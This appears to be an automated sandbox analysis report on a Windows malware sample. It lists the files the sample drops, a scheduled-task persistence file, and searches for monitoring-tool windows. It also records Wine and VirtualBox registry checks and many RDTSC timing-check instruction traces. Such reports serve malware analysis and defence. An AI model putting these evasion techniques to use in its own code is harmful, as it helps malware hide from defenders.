Source: random[1].exe.13.dr	Static PE information: section name: entropy: 7.995194725278902
Source: random[1].exe.13.dr	Static PE information: section name: entropy: 7.976101280157095
Source: random[1].exe.13.dr	Static PE information: section name: entropy: 7.948506104133843
Source: 0244247334.exe.13.dr	Static PE information: section name: entropy: 7.995194725278902
Source: 0244247334.exe.13.dr	Static PE information: section name: entropy: 7.976101280157095
Source: 0244247334.exe.13.dr	Static PE information: section name: entropy: 7.948506104133843

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55FEAB second address: 55FEBD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F12E0FAFC7Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 548303 second address: 548313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F12E108FDBCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55EFE5 second address: 55EFF8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F12E0FAFC7Bh 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55F2A3 second address: 55F2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55F2A9 second address: 55F2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55F2B2 second address: 55F2B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55F2B8 second address: 55F2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55F2BC second address: 55F2C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55F426 second address: 55F42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55F42B second address: 55F432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 55F432 second address: 55F43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5633B7 second address: 5633E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F12E108FDC8h 0x00000008 jg 00007F12E108FDB6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5633E0 second address: 563454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F12E0FAFC76h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F12E0FAFC84h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push ebx 0x0000001a push ebx 0x0000001b pushad 0x0000001c popad 0x0000001d pop ebx 0x0000001e pop ebx 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 jng 00007F12E0FAFC84h 0x00000028 jmp 00007F12E0FAFC7Eh 0x0000002d push eax 0x0000002e jmp 00007F12E0FAFC87h 0x00000033 pop eax 0x00000034 popad 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F12E0FAFC7Eh 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 563583 second address: 563589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 563589 second address: 56358D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 56385B second address: 563865 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F12E108FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 57528A second address: 57528E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 57528E second address: 57529A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5834D4 second address: 5834D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5834D8 second address: 5834EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58189C second address: 5818A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5818A7 second address: 5818B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F12E108FDB6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5818B4 second address: 5818C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F12E0FAFC76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5818C0 second address: 5818E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBFh 0x00000007 jng 00007F12E108FDB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58222B second address: 58222F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58222F second address: 582233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582233 second address: 582255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F12E0FAFC76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F12E0FAFC82h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582255 second address: 58227E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F12E108FDC6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582437 second address: 582448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F12E0FAFC78h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582448 second address: 582454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 ja 00007F12E108FDB6h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582454 second address: 58246D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F12E0FAFC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F12E0FAFC7Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 57689A second address: 5768A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 553DE6 second address: 553E0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F12E0FAFC85h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 553E0F second address: 553E19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582B67 second address: 582B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582B6B second address: 582B9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC6h 0x00000007 jmp 00007F12E108FDC1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F12E108FDC2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582B9E second address: 582BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582BA4 second address: 582BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jg 00007F12E108FDB6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582BB5 second address: 582BC7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F12E0FAFC7Ah 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582BC7 second address: 582BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F12E108FDB6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 582D3B second address: 582D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 583018 second address: 583036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F12E108FDC7h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 583036 second address: 583064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC80h 0x00000007 push edx 0x00000008 jno 00007F12E0FAFC76h 0x0000000e jg 00007F12E0FAFC76h 0x00000014 pop edx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jns 00007F12E0FAFC76h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 583064 second address: 583068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 583068 second address: 58306E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5863D0 second address: 5863E4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jno 00007F12E108FDB6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5863E4 second address: 5863F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007F12E0FAFC76h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 589283 second address: 589290 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F12E108FDB8h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58C4FA second address: 58C50D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC7Fh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58C50D second address: 58C520 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F12E108FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58C520 second address: 58C52A instructions: 0x00000000 rdtsc 0x00000002 je 00007F12E0FAFC7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58C52A second address: 58C546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F12E108FDC0h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 58C546 second address: 58C574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F12E0FAFC76h 0x00000009 jmp 00007F12E0FAFC82h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F12E0FAFC7Ch 0x0000001b rdtsc
